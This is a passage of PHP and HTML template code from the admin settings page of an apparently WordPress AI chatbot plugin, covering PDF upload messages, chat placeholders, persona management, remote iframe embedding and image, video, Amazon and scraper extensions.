'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="1" id="pdf_character" name="aiomatic_Chatbot_Settings[pdf_character]" class="cr_width_full" value="<?php echo esc_html($pdf_character);?>" placeholder="PDF character count limit"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the user message which appears when the pdf file was uploaded successfully.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("PDF File Uploaded Successfully User Message:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="pdf_ok" name="aiomatic_Chatbot_Settings[pdf_ok]" class="cr_width_full" value="<?php echo esc_html($pdf_ok);?>" placeholder="PDF file uploaded successfully! You can ask questions about it."> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the user message which appears when the pdf session was ended by the user.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("PDF Session Ended User Message:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="pdf_end" name="aiomatic_Chatbot_Settings[pdf_end]" class="cr_width_full" value="<?php echo esc_html($pdf_end);?>" placeholder="PDF file session ended."> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the user message which appears when the pdf file upload failed.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("PDF File Uploaded Failed User Message:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="pdf_fail" name="aiomatic_Chatbot_Settings[pdf_fail]" class="cr_width_full" value="<?php echo esc_html($pdf_fail);?>" placeholder="Failed to upload the PDF file, please try again later."> </div> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an expiration date for uploaded PDF files - after the files expired, they will be automatically deleted. You can set dates in this format: +1 day, +2 days, etc. To disable this feature, leave it empty.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Uploaded PDF Files Expiration Date:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" name="aiomatic_Chatbot_Settings[file_expiration_pdf]" class="cr_width_full" value="<?php echo esc_html($file_expiration_pdf);?>" placeholder="Example: +1 day"> </td> </tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/SkFdO5-zxFY" frameborder="0" allowfullscreen></iframe></div></p> </td></tr> </table> </div> <div id="tab-12" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("Chatbot Context Details:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the placeholder text of the chat input. The default is: empty.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Input Placeholder:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[placeholder]" placeholder="Enter your chat message here"><?php echo esc_textarea($placeholder); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the submit button. The default is: Submit", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Input Submit Button Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[submit]" placeholder="Submit"><?php echo esc_textarea($submit); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the prompt selection placeholder. The default is: Please select a prompt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Text For Prompt Templates Selection:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[select_prompt]" placeholder="Please select a prompt"><?php echo esc_textarea($select_prompt); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the compliance text which will be shown at the bottom of the chatbot (default is empty)", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Compliance Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[compliance]" placeholder="Compliance text"><?php echo esc_textarea($compliance); ?></textarea> </div> </td></tr> </table> </div> <div id="tab-10" class="tab-content"> <h2><?php echo esc_html__("Manage Chatbot Personas:", 'aiomatic-automatic-ai-content-writer');?></h2> <br/> <button href="#" id="aiomatic_sync_personas" class="page-title-action"><?php echo esc_html__("Sync Personas", 'aiomatic-automatic-ai-content-writer'); ?></button> <button id="aiomatic_manage_personas" class="page-title-action"><?php echo esc_html__("Add New Persona", 'aiomatic-automatic-ai-content-writer'); ?></button> <button id="aiomatic_backup_personas" class="page-title-action"><?php echo esc_html__("Backup/Restore Personas", 'aiomatic-automatic-ai-content-writer'); ?></button> <button href="#" id="aiomatic_delete_selected_personas" class="page-title-action"><?php echo esc_html__("Delete Selected Personas", 'aiomatic-automatic-ai-content-writer'); ?></button> <button href="#" id="aiomatic_deleteall_personas" class="page-title-action"><?php echo esc_html__("Delete All Personas", 'aiomatic-automatic-ai-content-writer'); ?></button> <?php if($aiomatic_personas->have_posts()){ echo '<br><br>' . esc_html__('All personas', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_personas->found_posts . ')<br>'; } ?> <table class="wp-list-table widefat fixed striped table-view-list posts"> <thead> <tr> <th class="manage-column column-cb check-column aiomatic-tdcol" scope="col"><input class="aiomatic-chk" type="checkbox" id="checkedAll"></th> <th scope="col"><?php echo esc_html__("Name", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Role", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Avatar", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer'); ?></th> </tr> </thead> <tbody> <?php if($aiomatic_personas->have_posts()) { foreach ($aiomatic_personas->posts as $aiomatic_persona) { ?> <tr> <td><input class="aiomatic-select-persona" id="aiomatic-select-<?php echo $aiomatic_persona->ID;?>" type="checkbox" name="ids[]" value="<?php echo $aiomatic_persona->ID;?>"></td> <td><a href="<?php echo get_edit_post_link($aiomatic_persona->ID);?>" class="aiomatic-persona-content"><?php echo esc_html($aiomatic_persona->post_title);?></a></td> <td><?php echo esc_html($aiomatic_persona->post_excerpt);?></td> <td><?php $avatar = get_the_post_thumbnail_url($aiomatic_persona->ID, 'thumbnail'); if($avatar === false){echo 'N/A';}else{echo '<img class="openai-chat-avatar" src="' . $avatar . '" alt="avatar"/>';}?></td> <td><?php echo esc_html($aiomatic_persona->ID);?></td> <td><?php echo esc_html($aiomatic_persona->post_date)?></td> <td> <div class="cr_center"> <a class="button button-small" href="<?php echo get_edit_post_link($aiomatic_persona->ID);?>"><?php echo esc_html__("Edit", 'aiomatic-automatic-ai-content-writer');?></a> <button class="button button-small aiomatic_duplicate_persona" id="aiomatic_duplicate_persona_<?php echo $aiomatic_persona->ID;?>" data-id="<?php echo $aiomatic_persona->ID;?>"><?php echo esc_html__("Duplicate", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_delete_persona" id="aiomatic_delete_persona_<?php echo $aiomatic_persona->ID;?>" delete-id="<?php echo $aiomatic_persona->ID;?>"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td> </tr> <?php } } else { echo '<tr><td colspan="7">' . esc_html__("No chatbot personas added. You can add more using the 'Add New Persona' button from above.", 'aiomatic-automatic-ai-content-writer') . '</td></tr>'; } ?> </tbody> </table> <?php if($aiomatic_personas->have_posts() && $aiomatic_personas->max_num_pages > 1) { ?> <div class="aiomatic-paginate"> <?php echo esc_html__("Page: ", 'aiomatic-automatic-ai-content-writer') . paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_chatbot_panel&wpage=%#%'), 'total' => $aiomatic_personas->max_num_pages, 'current' => $aiomatic_persona_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => true, 'add_args' => false, )); ?> </div> <?php } ?> <br/></hr/><br/> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/V0aiz-b1mdQ" frameborder="0" allowfullscreen></iframe></div></p> </td></tr></table> </div> <div id="tab-15" class="tab-content"> <h2><?php echo esc_html__("AI Chatbot Embedding On Remote Sites Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> <table class="wp-list-table widefat fixed striped table-view-list posts"> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable embedding of the chatbot on remote websites, using iframes. If you deactivate remote chatbots, all created remote chatbot instances will be also deleted.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Embedding On Remote Sites:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="remote_chat" name="aiomatic_Chatbot_Settings[remote_chat]"<?php if ($remote_chat == 'on') { echo ' checked '; } ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of domains (separated by commas), which will be allowed to display the chatbot on their site. To allow all sites to add this chatbot, leave this field blank. Example usage: https://www.example.org", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Domain List Allowed To Embed Chatbots:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" id="allow_chatbot_site" placeholder="https://www.example.org" name="aiomatic_Chatbot_Settings[allow_chatbot_site]"><?php echo esc_textarea($allow_chatbot_site); ?></textarea> </div> </td></tr> <?php if ($remote_chat == 'on') { $myop = get_option('aiomatic_chat_page_id', false); if($myop !== false) { if(is_numeric($myop)) { $myop = array($myop); } ?> <tr> <td colspan="2"> <b><?php echo esc_html__("You can use these HTML codes to embed the chatbot on other websites:", 'aiomatic-automatic-ai-content-writer');?></b> </td> </tr> <?php $changedone = false; if(count($myop) == 0) { ?> <tr> <td colspan="2"> <b><?php echo esc_html__("No remote chatbot instances created. Click the button from below to create a new instance!", 'aiomatic-automatic-ai-content-writer');?></b> </td> </tr> <?php } foreach($myop as $zind => $myopthis) { if(get_permalink($myopthis) === false) { unset($myop[$zind]); $changedone = true; continue; } ?> <tr> <td colspan="2"> <hr/> </td> </tr> <tr> <td colspan="2"> <b><?php echo esc_html__("Embed HTML Code:", 'aiomatic-automatic-ai-content-writer');?></b><br/> <span class="cr_red"> <?php echo esc_html('<iframe src="' . get_permalink($myopthis) . '" width="600" height="800" frameborder="0" scrolling="no">' . esc_html__("Your browser does not support iframes.", 'aiomatic-automatic-ai-content-writer') . '</iframe>'); ?> </span> <p><?php echo sprintf( wp_kses( __( "<a href='%s' class='button' target='_blank'>Edit</a>", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'data-id' => array(), 'class' => array(), 'href' => array(), 'target' => array() ) ) ), get_edit_post_link($myopthis)); ?> <?php echo sprintf( wp_kses( __( "<a href='#' data-id='" . esc_attr($myopthis) . "' class='aiomatic_delete_remote_chatbot button'>Delete</a>", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'data-id' => array(), 'class' => array(), 'href' => array(), 'target' => array() ) ) ), get_edit_post_link($myopthis)); ?></p> </td> </tr> <?php } if($changedone == true) { update_option('aiomatic_chat_page_id', $myop); } } else { ?> <tr> <td colspan="2"> <b><?php echo esc_html__("No remote chatbot instances created. Click the button from below to create a new instance.", 'aiomatic-automatic-ai-content-writer');?></b> </td> </tr> <?php } ?> <tr> <td colspan="2"> <hr/> </td> </tr> <tr> <td colspan="2"> <button id="aiomatic_add_remote_chatbot" class="button"><?php echo esc_html__("Add A New Remote Chatbot", 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> <?php } ?> </table> </div> <div id="tab-14" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("Chatbot Extension Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td colspan="2"><span class="cr_red"><?php echo esc_html__("Warning! This feature is currently supported only for OpenAI models (excepting gpt-3.5-instruct). Each extension will use some additional input tokens, which will be sent to the AI in each request. So, using extensions will increase also costs of API usage. Be sure to activate only the extensions which you need!", 'aiomatic-automatic-ai-content-writer');?></span></td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Dall-E Image' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Dall-E Image' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_dalle" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_dalle]"<?php if ($god_mode_enable_dalle == 'on') echo ' checked '; ?>> </div> </td></tr><tr class="hide_dalle"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the image size for AI generated images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="ai_image_size" name="aiomatic_Chatbot_Settings[ai_image_size]" class="cr_width_full"> <option value="256x256" <?php if($ai_image_size == '256x256'){echo ' selected';}?> ><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512" <?php if($ai_image_size == '512x512'){echo ' selected';}?> ><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" <?php if($ai_image_size == '1024x1024'){echo ' selected';}?> ><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792" <?php if($ai_image_size == '1024x1792'){echo ' selected';}?> ><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024" <?php if($ai_image_size == '1792x1024'){echo ' selected';}?> ><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hide_dalle"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the image model for AI generated images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="ai_image_model" name="aiomatic_Chatbot_Settings[ai_image_model]" class="cr_width_full"> <option value="dalle2" <?php if($ai_image_model == 'dalle2'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3" <?php if($ai_image_model == 'dalle3'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd" <?php if($ai_image_model == 'dalle3hd'){echo ' selected';}?> ><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hide_dalle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the message which is displayed to the user in case the image creations fails.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Image Generator Failed User Message:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="god_mode_dalle_failed" name="aiomatic_Chatbot_Settings[god_mode_dalle_failed]" value="<?php echo esc_html($god_mode_dalle_failed);?>" placeholder="Image creation failed, please try again later."> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Midjourney Image' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Midjourney Image' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_midjourney" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_midjourney]"<?php if ($god_mode_enable_midjourney == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Stable Diffusion Image' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Stable Diffusion Image' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_stable" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_stable]"<?php if ($god_mode_enable_stable == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_stable"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set what model to use when generating images. Default is ", 'aiomatic-automatic-ai-content-writer') . AIOMATIC_STABLE_DEFAULT_MODE; ?> </div> </div> <b><?php echo esc_html__("Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="stable_model" name="aiomatic_Chatbot_Settings[stable_model]" class="cr_width_full"> <?php $stable_models = aiomatic_get_stable_image_models(); foreach($stable_models as $sm) { echo '<option value="' . esc_attr($sm) . '"'; if ($stable_model == $sm) { echo " selected"; } echo '>' . esc_html($sm) . '</option>'; } ?> </select> </div> </td> </tr> <tr class="hide_stable"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the image size for AI generated images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="ai_image_size_stable" name="aiomatic_Chatbot_Settings[ai_image_size_stable]" class="cr_width_full"> <option value="512x512" <?php if($ai_image_size_stable == '512x512'){echo ' selected';}?> ><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" <?php if($ai_image_size_stable == '1024x1024'){echo ' selected';}?> ><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hide_stable"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the message which is displayed to the user in case the image creations fails.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Image Generator Failed User Message:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="god_mode_stable_failed" name="aiomatic_Chatbot_Settings[god_mode_stable_failed]" value="<?php echo esc_html($god_mode_stable_failed);?>" placeholder="Image creation failed, please try again later."> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Stable Diffusion Video' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Stable Diffusion Video' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_stable_video" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_stable_video]"<?php if ($god_mode_enable_stable_video == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_stable_video"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size for AI generated videos.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Video Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="ai_video_size_stable" name="aiomatic_Chatbot_Settings[ai_video_size_stable]" class="cr_width_full"> <option value="768x768" <?php if($ai_video_size_stable == '768x768'){echo ' selected';}?> ><?php echo esc_html__("768x768", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x576" <?php if($ai_video_size_stable == '1024x576'){echo ' selected';}?> ><?php echo esc_html__("1024x576", 'aiomatic-automatic-ai-content-writer');?></option> <option value="576x1024" <?php if($ai_video_size_stable == '576x1024'){echo ' selected';}?> ><?php echo esc_html__("576x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Amazon Product Listing' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Amazon Product Listing' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_amazon" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_amazon]"<?php if ($god_mode_enable_amazon == 'on') echo ' checked '; ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Amazon Product Details' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("'Amazon Product Details' Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="god_mode_enable_amazon_details" onchange="extensionsChanged();" name="aiomatic_Chatbot_Settings[god_mode_enable_amazon_details]"<?php if ($god_mode_enable_amazon_details == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hide_amazon"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Amazon Associate ID (Optional). Learn how to get one <a href='%s' target='_blank'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html', 'https://affiliate-program.amazon.com/assoc_credentials/home' ); ?> </div> </div> <b><?php echo esc_html__("Amazon Associate ID:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="affiliate_id" name="aiomatic_Chatbot_Settings[affiliate_id]" value="<?php echo esc_html($affiliate_id);?>" placeholder="Please insert your Amazon Affiliate ID"> </div> </td></tr> <tr class="hide_amazon"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the country where you have registred your affiliate account.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Amazon Target Country:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="source" name="aiomatic_Chatbot_Settings[target_country]" class="cr_width_full"> <?php $amaz_countries = aiomatic_get_amazon_codes(); foreach ($amaz_countries as $key => $value) { echo '<option value="' . esc_html($key) . '"'; if($target_country == $key) { echo ' selected'; } echo '>' . esc_html($value) . '</option>'; } ?> </select> </div> </td></tr> <tr class="hide_amazon"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of products to add in the product listing. You can also set a variable number of products, case in which a random number will be selected from the range you specify. Example 5-7", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Number Of Products To Include:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="max_products" name="aiomatic_Chatbot_Settings[max_products]" placeholder="3-4" class="cr_width_full" value="<?php echo esc_attr($max_products);?>"> </td> </tr> <tr class="hide_amazon"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type of sorting of the returned results.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Sort Results By:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="sort_results" name="aiomatic_Chatbot_Settings[sort_results]" class="cr_width_full"> <option value="none" <?php if($sort_results == 'none'){echo ' selected';}?>><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Relevance" <?php if($sort_results == 'Relevance'){echo ' selected';}?>><?php echo esc_html__("Relevance", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Price:LowToHigh" <?php if($sort_results == 'Price:LowToHigh'){echo ' selected';}?>><?php echo esc_html__("Price:LowToHigh", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Price:HighToLow" <?php if($sort_results == 'Price:HighToLow'){echo ' selected';}?>><?php echo esc_html__("Price:HighToLow", 'aiomatic-automatic-ai-content-writer');?></option> <option value="NewestArrivals" <?php if($sort_results == 'NewestArrivals'){echo ' selected';}?>><?php echo esc_html__("NewestArrivals", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Featured" <?php if($sort_results == 'Featured'){echo ' selected';}?>><?php echo esc_html__("Featured", 'aiomatic-automatic-ai-content-writer');?></option> <option value="AvgCustomerReviews" <?php if($sort_results == 'AvgCustomerReviews'){echo ' selected';}?>><?php echo esc_html__("AvgCustomerReviews", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hide_amazon"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set what information do you want to add into each product listing entry. You can use the following shortcodes to get data for specific products: %%product_counter%%, %%product_title%%, %%product_description%%, %%product_url%%, %%product_price%%, %%product_list_price%%, %%product_image%%, %%product_cart_url%%, %%product_images_urls%%, %%product_images%%, %%product_reviews%%. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Product Listing Template:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Chatbot_Settings[listing_template]" placeholder='Set what information do you want to add into each product listing entry'><?php echo esc_textarea($listing_template); ?></textarea> </div> </td></tr> <tr><td colspan="2"> <hr/> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the 'Websites Scraper' for the Chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php 